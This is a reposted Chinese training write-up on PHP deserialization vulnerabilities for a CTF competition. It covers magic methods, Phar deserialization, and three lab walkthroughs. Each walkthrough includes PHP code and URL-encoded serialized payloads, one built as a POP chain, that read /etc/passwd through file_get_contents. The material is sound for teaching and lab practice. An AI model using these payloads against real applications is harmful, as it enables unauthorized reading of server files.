ICode9

精准搜索请尝试: 精确搜索
首页 > 其他分享> 文章详细

7.深育杯赛前培训-反序列化漏洞

2021-10-29 19:35:10  阅读:223  来源: 互联网

标签:__ 深育 函数 22% 3A% 实验 杯赛 序列化


一、反序列化基础

1、序列化和反序列化
在这里插入图片描述

2、PHP序列化和反序列化基本类型表达
在这里插入图片描述

3、PHP序列化和反序列化
在这里插入图片描述在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
4、代码中的关键函数
在这里插入图片描述
5、魔术方法
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

6、示例1
在这里插入图片描述

在这里插入图片描述

7、示例2
在这里插入图片描述
在这里插入图片描述

二、常见的反序列化

1、反序列化利用

1、存在反序列化漏洞的必要条件:
(1)存在魔术方法
(2)存在命令执行漏洞
(3)存在反序列化函数
(4)传参可控

2、反序列化漏洞利用的方法:
(1)定义类
(2)实例化类
(3)序列化类
(4)将序列化结果传入

在这里插入图片描述

三、Phar反序列化

1、Phar概念
在这里插入图片描述
2、Phar文件格式
在这里插入图片描述
3、Phar归档文件类型在这里插入图片描述
在这里插入图片描述
4、生成phar文件
在这里插入图片描述
在这里插入图片描述
5、Phar反序列化作用

触发点很多

在这里插入图片描述
6、测试demo

phar.xxx
test.txt写入内容

在这里插入图片描述
在这里插入图片描述
7、将Phar文件伪造成其他格式文件在这里插入图片描述
8、Phar://伪协议利用
在这里插入图片描述

四、反序列化实验基础01

1、实验目的

掌握PHP反序列化基础利用方式

2、实验地址

http://分配IP:4001

在这里插入图片描述

3、实验环境

一台ubuntu18.04 已经安装实验环境
一台windows 10客户端,已安装firefox浏览器、hackbar插件、burpsuit、PHP环境

4、实验内容

利用反序列化漏洞配合file_get_contents()函数读取任意文件

5、实验步骤
(1)实验主页
在这里插入图片描述

(2)代码分析

1、首先定义类Ser
2、第二行定义公有变量 $name
3、存在魔术方法 __toString
当实例化的类被当作字符串处理时会自动触发__toString魔术方法
4、在__toString函数中存在file_get_contents()函数,并且参数为$name,可控
5、最后存在unserialize()函数,并且参数可控

(3)利用方法

1、实例化类Ser
2、$name赋值所需读取文件名称
3、将实例化类Ser序列化并输出
4、将输出结果通过GET方式输入
<?php 
class Ser{
	public $name = "/etc/passwd";
}
$a = new Ser();
echo serialize($a);
?>
5、序列化输出结果为:
	O:3:"Ser":1:{s:4:"name";s:11:"/etc/passwd";}

(4)最终结果
在这里插入图片描述

五、反序列化实验基础02

1、实验目的

掌握PHP反序列化__wakeup()魔术方法基础方式

2、实验地址

http://分配IP:4002

在这里插入图片描述

3、实验环境

一台ubuntu18.04 已经安装实验环境
一台windows 10客户端,已安装firefox浏览器、hackbar插件、burpsuit、PHP环境

4、实验内容

利用反序列化魔术方法__wakeup()函数配合file_get_contents()函数读取任意文件

5、实验步骤
(1)实验主页
在这里插入图片描述

(2)代码分析

1、首先定义Ser类
2、第二行定义私有变量 $name
3、在Ser类中,存在魔术方法 __wakeup()函数
	该魔术方法在反序列化的时候自动调用,为反序列化生成的对象做一些初始化操作
4、在__wakeup()函数中存在file_get_contents()函数,并且参数为$name,可以控制
5、最后存在unserialize()函数,同时参数也可控

(3)利用方法

1、实例化类Ser
2、$name赋值所需读取文件名称
	注意:$name是私有属性,在类中私有属性private和protected属性的变量,在序列化时,存在%00*%00保护它,而%00是不可见字符。
	因此需要使用urlencode()函数将%00进行url编码,避免%00的缺失,下图为经过url编码后的序列化字符串。
3、将实例化类Ser序列化并输出
4、将输出结果通过GET方式输入
<?php
class Ser{
	private $name = "/etc/passwd";
}
$a = new Ser();
echo urlencode(serialize($a));
?>
5、输出序列化内容为:
	O%3A3%3A%22Ser%22%3A1%3A%7Bs%3A9%3A%22%00Ser%00name%22%3Bs%3A11%3A%22%2Fetc%2Fpasswd%22%3B%7D

(4)最终结果

在这里插入图片描述

六、反序列化实验基础03

1、实验目的

掌握PHP反序列化POP链的基本利用方式

2、实验地址

http://分配IP:4003

在这里插入图片描述

3、实验环境

一台ubuntu18.04 已经安装实验环境
一台windows 10客户端,已安装firefox浏览器、hackbar插件、burpsuit、PHP环境

4、实验内容

通过类A中的__destruct()魔术方法调用类B中的read_file()函数,达到读取任意文件的目标

5、实验步骤
(1)实验主页
image.png

(2)代码分析

1、首先定义类A,类B
2、在类A中存在公有变量$classname和__destruct()魔术方法,在魔术方法中调用了类B中的read_file()函数
类执行完毕以后调用,其最主要的作用是拿来做垃圾回收机制
3、在类B中,定义了私有变量$filename,同时,read_file()函数中存在file_get_contents()函数,并且参数为$filename。
4、最后存在unserialize()函数,同时参数也可控

(3)利用方法

1、实例化类A
2、并且将类A中的公有变量$classname赋值为类B的实例化对象。那么,当实例化类A的同时也实例化了类B
3、然后将类B中的私有变量$filename赋值所需读取文件名称
4、将实例化类A序列化并输出
5、最后将输出结果通过GET方式输入
	<?php
	class A{
		public $classname;
	}
	class B{
		private $filename="/etc/passwd";
	}
	//对象A的属性是对象B,那么在序列化A的时候也会序列化B
	$a = new A();
	$a -> classname = new B();
	
	echo urlencode(serialize($a));
	?>
6、输出序列化内容为:
	O%3A1%3A%22A%22%3A1%3A%7Bs%3A9%3A%22classname%22%3BO%3A1%3A%22B%22%3A1%3A%7Bs%3A11%3A%22%00B%00filename%22%3Bs%3A11%3A%22%2Fetc%2Fpasswd%22%3B%7D%7D

(4)最终结果
在这里插入图片描述

标签:__,深育,函数,22%,3A%,实验,杯赛,序列化
来源: https://blog.csdn.net/qq_45555226/article/details/121040249

本站声明: 1. iCode9 技术分享网(下文简称本站)提供的所有内容,仅供技术学习、探讨和分享;
2. 关于本站的所有留言、评论、转载及引用,纯属内容发起人的个人观点,与本站观点和立场无关;
3. 关于本站的所有言论和文字,纯属内容发起人的个人观点,与本站观点和立场无关;
4. 本站文章均是网友提供,不完全保证技术分享内容的完整性、准确性、时效性、风险性和版权归属;如您发现该文章侵犯了您的权益,可联系我们第一时间进行删除;
5. 本站为非盈利性的个人网站,所有内容不会用来进行牟利,也不会利用任何形式的广告来间接获益,纯粹是为了广大技术爱好者提供技术内容和技术思想的分享性交流网站。

专注分享技术,共同学习,共同进步。侵权联系[81616952@qq.com]

Copyright (C)ICode9.com, All Rights Reserved.

ICode9版权所有